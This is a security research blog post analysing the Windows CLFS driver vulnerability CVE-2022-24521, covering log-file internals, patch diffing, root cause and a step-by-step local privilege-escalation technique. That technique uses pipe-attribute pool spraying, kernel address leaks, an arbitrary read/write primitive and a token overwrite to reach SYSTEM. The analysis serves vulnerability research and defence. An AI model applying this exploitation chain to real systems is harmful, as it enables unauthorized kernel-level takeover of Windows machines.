CVE-2022-24521: Analysing and Exploiting the Windows Common Log File System (CLFS) Logic-Error Vulnerability



Overview

In the security updates of April 2022, Microsoft patched two vulnerabilities (CVE-2022-24481 and CVE-2022-24521) in the CLFS.sys driver. The CLFS kernel component first gain popularity as an attack vector to escape browser sandboxes in 2016. Since then, although this feature is now disabled in popular sandboxes, it is still being frequently abused to escalate privileges locally in Windows.

In this blog post, we analyse the root-cause for one of the vulnerabilties and also discuss how it could be trivially and incredibly reliable to be exploited. Note that in the absence of any public information separating these CVEs, we've decided to use CVE-2022-24521 to refer to the vulnerability described herein because we have confirmed its exploitability whereas Microsoft rates CVE-2022-24481 as "Exploit Code Maturity: Unproven". Of course we could be wrong here :)

This exploit was developed and tested on Windows 10 21H2 (OS Build 19044.1620).

The CLFS component has been well-researched into by the community and these [1][2][3] are excellent sources for internals, format and documentation



CLFS Internals

CLFS is a log framework that was introduced by Microsoft in Windows Vista and Windows Server 2003 R2 for high performance. It provides applications with API functions to create, store and read log data. CLFS log storage basically consists of two parts:

blf_structure

Each log block starts with a structure named _CLFS_LOG_BLOCK_HEADER:


typedef struct _CLFS_LOG_BLOCK_HEADER  
{  
    UCHAR MajorVersion;  
    UCHAR MinorVersion;  
    UCHAR Usn;  
    CLFS_CLIENT_ID ClientId;  
    USHORT TotalSectorCount;  
    USHORT ValidSectorCount;  
    ULONG Padding;  
    ULONG Checksum;  
    ULONG Flags;  
    CLFS_LSN CurrentLsn;  
    CLFS_LSN NextLsn;  
    ULONG RecordOffsets[16];  
    ULONG SignaturesOffset;  
} CLFS_LOG_BLOCK_HEADER, *PCLFS_LOG_BLOCK_HEADER;
                              

RecordOffsets is an array of offsets to the records inside the log block. In fact, CLFS only takes care of the first record offset (0x70) which points at the end of CLFS_LOG_BLOCK_HEADER. When the base log file is stored on a disk, its log blocks must be encoded. In an encoded state, each sector has a two-byte signature which is used to guarantee consistency:


typedef struct _CLFS_LOG_BLOCK_HEADER  
{  
    UCHAR SECTOR_BLOCK_TYPE;  
    UCHAR Usn;  
};  
                              

During the encoding process the last two bytes of each sector are overwritten with the associated signature. To store all of the sector bytes that were replaced by the sector signature, there is an array which is pointed by SignaturesOffset field.

Base log record stores metadata used to associate the base log file with the containers. It starts with the following header:


typedef struct _CLFS_BASE_RECORD_HEADER  
{  
    CLFS_METADATA_RECORD_HEADER hdrBaseRecord;  
    CLFS_LOG_ID cidLog;  
    ULONGLONG rgClientSymTbl[CLIENT_SYMTBL_SIZE];  
    ULONGLONG rgContainerSymTbl[CONTAINER_SYMTBL_SIZE];  
    ULONGLONG rgSecuritySymTbl[SHARED_SECURITY_SYMTBL_SIZE];  
    ULONG cNextContainer;  
    CLFS_CLIENT_ID cNextClient;  
    ULONG cFreeContainers;  
    ULONG cActiveContainers;  
    ULONG cbFreeContainers;  
    ULONG cbBusyContainers;  
    ULONG rgClients[MAX_CLIENTS_DEFAULT];  
    ULONG rgContainers[MAX_CONTAINERS_DEFAULT];  
    ULONG cbSymbolZone;  
    ULONG cbSector;  
    USHORT bUnused;  
    CLFS_LOG_STATE eLogState;  
    UCHAR cUsn;  
    UCHAR cClients;  
} CLFS_BASE_RECORD_HEADER, *PCLFS_BASE_RECORD_HEADER;   
                              

Fields gClients and rgContainers represent the arrays of offsets that point to the associated context objects.

Container context is represented by the following structure:


typedef struct _CLFS_CONTAINER_CONTEXT  
{  
    CLFS_NODE_ID cidNode;  
    ULONGLONG cbContainer;  
    CLFS_CONTAINER_ID cidContainer;  
    CLFS_CONTAINER_ID cidQueue;  
    union  
    {  
    CClfsContainer* pContainer;  
    ULONGLONG ullAlignment;  
    };  
    CLFS_USN usnCurrent;  
    CLFS_CONTAINER_STATE eState;  
    ULONG cbPrevOffset;  
    ULONG cbNextOffset;  
} CLFS_CONTAINER_CONTEXT, *PCLFS_CONTAINER_CONTEXT;  
                              

pContainer actually contains a kernel pointer to the CClfsContainer class describing the container at runtime. This field must be set to zero when the log file is on disk.



Patch-Diffing

The security updates of April 2022 brings us quite small modifications to clfs.sys, so we can easily spot the vulnerable functionality. All in all, there are eight changed functions:

patch_diff1

And two new functions:

patch_diff2

A new logic block has been added to LoadContainerQ:


...
containerArray = (_DWORD *)((char *)BaseLogRecord + 0x328); // *CLFS_CONTAINER_CONTEXT->rgContainers
...
v22 = CClfsBaseFile::ContainerCount(this);
...
while ( containerIndex < 0x400 )
{
    v17 = (CClfsContainer *)containerIndex;
    if ( containerArray[containerIndex] )
    ++v24;
    v89 = ++containerIndex;
}
...
if ( v24 == v22 )
{
    if ( (unsigned int)Feature_Servicing_38197806__private_IsEnabled() )
    {
    v25 = (_OWORD *)((char *)v19 + 0x138);
    v26 = (unsigned int *)operator new(0x11F0ui64, PagedPool);
    rgObject = v26;
    if ( !v26 )
    {
        goto LABEL_135;
    }
    memmove(v26, containerArray, 0x1000ui64);
    v28 = rgObject + 0x400;
    v29 = 3i64;
    ...
    v20 = CClfsBaseFile::ValidateRgOffsets(this, rgObject);
    v72 = v20;
    operator delete(rgObject);
}  
                              

In fact, this block is a wrapper for CClfsBaseFile::ValidateRgOffsets:


__int64 __fastcall CClfsBaseFile::ValidateRgOffsets(CClfsBaseFile *this, unsigned int *rgObject)
{
...
LogBlockPtr = *(_QWORD *)(*((_QWORD *)this + 6) + 48i64); // * _CLFS_LOG_BLOCK_HEADER
...
signatureOffset = LogBlockPtr + *(unsigned int *)(LogBlockPtr + 0x68); // PCLFS_LOG_BLOCK_HEADER->SignaturesOffset
...
qsort(rgObject, 0x47Cui64, 4ui64, CompareOffsets); // sort rgObject array
while ( 1 )
{
    currObjOffset = *rgObject2; // obtain offset from rgObject
    if ( *rgObject2 - 1 <= 0xFFFFFFFD )
    {
    pObjContext = CClfsBaseFile::OffsetToAddr(this, currObjOffset); // Obtain in-memory representation
                                                                    // of the object's context structure
...
    unkn = currObjOffset - 0x30;
    v13 = rgIndex * 4 + v5 + 0x30;
    if ( v13 < v5 || v5 && v13 > unkn )
        break;
    v5 = unkn;
    if ( *pObjContext == 0xC1FDF008 ) // CLFS_NODE_TYPE_CLIENT_CONTEXT
    {
        rgIndex = 0xC;
    }
    else
    {
        if ( *pObjContext != 0xC1FDF007 ) // CLFS_NODE_TYPE_CONTAINER_CONTEXT
        return 0xC01A000D;
        rgIndex = 0x22;
    }
    criticalRange = &pObjContext[rgIndex]; // get the address of context + 0x30
    if ( criticalRange < pObjContext || (unsigned __int64)criticalRange > signatureOffset ) // comapre with sig offset
        break;
    }
    ++i;
    ++rgObject2;
    if ( i >= 0x47C )
    return ret;
}
return 0xC01A000D;
}
                              

As we can see, this function simply checks that the signature offset does not intersect with any of the context objects. In addition, it also validates several context fields like CLFS_NODE_ID.



Vulnerability: Root Cause Analysis

Let's assume that the array of signatures intersects with the container or client context:

vuln_rca1

When the log block is encoded, sector's bytes from SIG_* are transferred to an array, pointed by SignaturesOffset. While decoding, these bytes are written back to their initial location. If we'll construct the base log record in a way that the container context and the signature array will be close to each other and then copy context's bytes to SIG_0 ... SIG_X, encode and decode operation will not corrupt the container context. Moreover, all the data modified between encoding and decoding will be restored.

Now let's assume that container context is modified in memory (PCLFS_CONTAINER_CONTEXT->pContainer is zeroed). We searched for a while where it is actually used and this led us to CClfsBaseFilePersisted::RemoveContainer which can be called directly from LoadContainerQ:


__int64 __fastcall CClfsBaseFilePersisted::RemoveContainer(CClfsBaseFilePersisted *this, unsigned int a2)
{
...
        v11 = CClfsBaseFilePersisted::FlushImage((PERESOURCE *)this);
        v9 = v11;
        v16 = v11;
        if ( v11 >= 0 )
        {
        pContainer = *((_QWORD *)containerContext + 3);
        if ( pContainer )
        {
            *((_QWORD *)containerContext + 3) = 0i64;
            ExReleaseResourceForThreadLite(*((PERESOURCE *)this + 4), (ERESOURCE_THREAD)KeGetCurrentThread());
            v4 = 0;
            (*(void (__fastcall **)(__int64))(*(_QWORD *)pContainer + 0x18i64))(pContainer); // remove method
            (*(void (__fastcall **)(__int64))(*(_QWORD *)pContainer + 8i64))(pContainer); // release method
            v9 = v16;
            goto LABEL_20;
        }
        goto LABEL_19;
        }
...
}
                              

To ensure that the user cannot pass any FAKE_pContainer pointer to the kernel, before any indirect call this field is set to zero:


v44 = *((_DWORD *)containerContext + 5); // to trigger RemoveContainer one should set this field to -1
if ( v44 == -1 )
{
    *((_QWORD *)containerContext + 3) = 0i64; // pContainer is set to NULL
    v20 = CClfsBaseFilePersisted::RemoveContainer(this, v34);
    v72 = v20;
    if ( v20 < 0 )
        goto LABEL_134;
    v23 = v78;
    v34 = (unsigned int)(v34 + 1);
    v79 = v34;
}
                              

Everything goes as planned until there is no logic issue described above. To understand it better lets look inside the call chain CClfsBaseFilePersisted::FlushImage -> CClfsBaseFilePersisted::WriteMetadataBlock which is in RemoveContainer. The information associated with the deleted container should be also removed from the linked structures and this is done with the following code:


...
// Obtain all container contexts represented in blf
// save pContainer class pointer for each valid container context
for ( i = 0; i < 0x400; ++i )
{
v20 = CClfsBaseFile::AcquireContainerContext(this, i, &v22);
v15 = (char *)this + 8 * i;
if ( v20 >= 0 )
{
    v16 = v22;
    *((_QWORD *)v15 + 56) = *((_QWORD *)v22 + 3); // for each valid container save pContainer
    *((_QWORD *)v16 + 3) = 0i64; // and set the initial pContainer to zero
    CClfsBaseFile::ReleaseContainerContext(this, &v22);
}
else
{
    *((_QWORD *)v15 + 56) = 0i64;
}
}
// Stage [1] enode block, prepare it for writing
ClfsEncodeBlock(
(struct _CLFS_LOG_BLOCK_HEADER *)v9,
*(unsigned __int16 *)(v9 + 4) << 9,
*(_BYTE *)(v9 + 2),
0x10u,
1u);
// write modified data
v10 = CClfsContainer::WriteSector(
        *((CClfsContainer **)this + 19),
        *((struct _KEVENT **)this + 20),
        0i64,
        *(void **)(*((_QWORD *)this + 6) + 24 * v8),
        *(unsigned __int16 *)(v9 + 4),
        &v23);
...
if ( v7 )
{
// Stage [2] Decode file again for futher processing in clfs.sys
ClfsDecodeBlock((struct _CLFS_LOG_BLOCK_HEADER *)v9, *(unsigned __int16 *)(v9 + 4), *(_BYTE *)(v9 + 2), 0x10u, &v21);
// optain new pContainer class pointer
v17 = (_QWORD *)((char *)this + 448);
do
{
    // Stage [3] for each valid container
    // update pContainer field
    if ( *v17 && (int)CClfsBaseFile::AcquireContainerContext(this, v6, &v22) >= 0 )
    {
    *((_QWORD *)v22 + 3) = *v17;
    CClfsBaseFile::ReleaseContainerContext(this, &v22);
    }
    ++v6;
    ++v17;
}
while ( v6 < 0x400 );
}
...
                              

When the operation begins, pContainer is set to zero. During Stage [1] the information is encoded -> bytes from each sector are written to their location -> we restore the zeroed field with the information we provide from the user mode. The only issue is to make CClfsBaseFile::AcquireContainerContext fail at Stage [3] (rather easy to do). If everything is done, we'll be able to pass any address to an indirect call chain inside CClfsBaseFilePersisted::RemoveContainer which leads to the direct RIP control.



Exploitation

To trigger the vulnerability an attacker should carefully construct the base log file and the associated containers to bypass different checks inside the driver's code. Listing all the checks is out of scope for this article, but for simplicity, we'll provide an example for the client context:

The PoC is as below:


__int64 __fastcall CClfsBaseFile::GetSymbol(PERESOURCE *this, unsigned int a2, char a3, struct _CLFS_CLIENT_CONTEXT **a4)
{

...
if ( CClfsBaseFile::IsValidOffset((CClfsBaseFile *)this, a2 + 135) )
{
    v11 = CClfsBaseFile::OffsetToAddr((CClfsBaseFile *)this);
    if ( v11 )
    {
    if ( *(v11 - 3) != a2 )
    {
        v8 = -1073741816;
        goto LABEL_5;
    }
    v12 = ClfsQuadAlign(0x88u);
    // v13 is a pointer to ClientContext
    if ( *(_DWORD *)(v13 - 0x10) == (unsigned __int64)(v14 + v12) && *(_BYTE *)(v13 + 8) == a3 )
    {
        *a4 = (struct _CLFS_CLIENT_CONTEXT *)v13;
        goto LABEL_12;
    }
    }
}
...
LABEL_12:
if ( v10 )
{
    ExReleaseResourceForThreadLite(this[4], (ERESOURCE_THREAD)KeGetCurrentThread());
    return v15;
}
return v8;
}
                              

It is also interesting how these two methods are actually called:


mov     rax, [rdi] ; pContainerVftbl
mov     rax, [rax+18h] ; method_1
mov     rcx, rdi ; save pointer to pContainer
                ; pass it as an argument
                ; for the controllable call
call    cs:__guard_dispatch_icall_fptr
mov     rax, [rdi]
mov     rax, [rax+8] ; method_2
mov     rcx, rdi
call    cs:__guard_dispatch_icall_fptr
                              

The address of the controllable pContainer is passed to the indirect call as an argument, so we can use any gadget which uses RCX as a pointer to perform arbitrary read / write operations.

From here on, the exploitation strategy is closely based on the information from this excellent SSTIC2020: Scoop the Windows 10 pool! paper [4].

  1. Create pipe objects, add pipe attributes using NtFsControlFile API:

    
    ...
    CreatePipe( hR , hW , NULL , bufsize ) ;
    ...
    NTSTATUS status = NtFsControlFile(
        hR,
        0,
        NULL,
        NULL,
        &ret,
        0x11003C,
        input,
        input_size,
        output,
        output_size
    );
                                  

    The attributes are a key-value pair and stored in a linked list. The PipeAttribute object is allocated in the Paged Pool and is defined in the kernel by the following structure:

    
    struct PipeAttribute {
        LIST_ENTRY list ;
        char * AttributeName;
        uint64_t AttributeValueSize;
        char * AttributeValue;
        char data [0];
    };
                                  

    Note that the allocations must be large enough (4080+ bytes on x86, or 4064+ bytes on x64) to be processed in a big-pool [5].

  2. Anytime a kernel-mode component allocates over the limits above, a big-pool allocation is done instead. API NtQuerySystemInformation has an information class specifically designed for dumping big pool allocations. Including not only their size, their tag, and their type (Paged or Non-Paged), but also their kernel virtual address:

    
    ...
    NTSTATUS status = STATUS_SUCCESS;
    if (NT_SUCCESS(status = ZwQuerySystemInformation(SystemBigPoolInformation, mem, len, &len))) {
        PSYSTEM_BIGPOOL_INFORMATION pBuf = (PSYSTEM_BIGPOOL_INFORMATION)(mem);
        for (ULONG i = 0; i < pBuf->Count; i++) {
            __try {
                if (pBuf->AllocatedInfo[i].TagUlong == PIPE_ATTR_TAG) {
                    // save me
                }
            }
            __except (EXCEPTION_EXECUTE_HANDLER) {
                DPRINT_LOG("(%s) Access Violation was raised.", __FUNCTION__);
            }
        }
    }
    ...
                                  

    Using this feature, we can easily get the address of the newly created pipe objects.

  3. Allocate fake_pipe_attribute object to be used later to inject its address to an original doubly linked list. We will save kernel pipe_attribute pointers as follows:

    
    ...
    fake_pipe_attribute = (PipeAttributes*)VirtualAlloc(NULL, ATTRIBUTE_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    ...
    fake_pipe_attribute->list.Flink = pipe_attribute_1;
    fake_pipe_attribute->list.Blink = pipe_attribute_2;
    fake_pipe_attribute->id = ANY;
    fake_pipe_attribute->length = NEEDED;
    ...
                                  
  4. Obtain selected gadget-module base address using NtQuerySystemInformation:

    
    ntStatus = NtQuerySystemInformation(SystemModuleInformation,   
                                        &module, /*pSysModInfo*/  
                                        sizeof(module), /*sizeof(pSysModInfo) or 0*/  
                                        &dwNeededSize );  
    {
        ...
    if (STATUS_INFO_LENGTH_MISMATCH == ntStatus)   
    {  
        pSysModInfo = ExAllocatePoolWithTag(NonPagedPool, dwNeededSize, 'GETK');  
    
        if (pSysModInfo) {  
            ntStatus = NtQuerySystemInformation(SystemModuleInformation,   
                                                pSysModInfo,   
                                                dwNeededSize,   
                                                NULL );            
            if (NT_SUCCESS(ntStatus))  
            {  
                for (int i=0; i<(int)pSysModInfo->dwNumberOfModules; ++i)  
                {  
                    StrUpr(pSysModInfo->smi[i].ImageName); // Convert characters to uppercase  
                    if (strstr(pSysModInfo->smi[i].ImageName, MODULE_NAME))  {  
                        pModuleBase  = pSysModInfo->smi[i].Base;                      
                        break;  
                    }  
                }     
            }  
            else { return; }  
            
            ExFreePool(pSysModInfo)  
            pSysModInfo = NULL;  
        }  
    }
    ...  
    } 
                                  
  5. Trigger CLFS bug which allows us to call a module-gadget performing arbitrary data modification. Done properly, we will be able to overwrite pipe_attribute_1->list.Flink and pipe_attribute_2->list.Blink with fake_pipe_attribute pointer. Now, by requesting the read of the attribute (calling NtFsControlFile with x110038 IOCTL) on the pipe_attribute_1 / pipe_attribute_2, the kernel will use the PipeAttribute that is in userland and thus fully controlled:

    exp_pipeow

    Control over AttributeValue pointer and the AttributeValueSize provides an arbitrary read primitive which can be used to obtain EPROCESS address.

  6. Trigger CLFS bug to overwrite usermode process token to elevate to system privileges.

    cve-2022-24521-demo



  7. References

    1. Peter Hlavaty (@zer0mem) and Jin Long (@long123king), DeathNote of Microsoft Windows Kernel

    2. Arav Garg (@AravGarg3), Exploiting a use-after-free in Windows Common Logging File System (CLFS)

    3. Alex Ionescu (@aionescu), CLFS Internals

    4. Corentin Bayet (@OnlyTheDuck) and Paul Fariello (@paulfariello), SSTIC2020: Scoop the Windows 10 pool!

    5. Alex Ionescu (@aionescu), Sheep Year Kernel Heap Fengshui: Spraying in the Big Kids’ Pool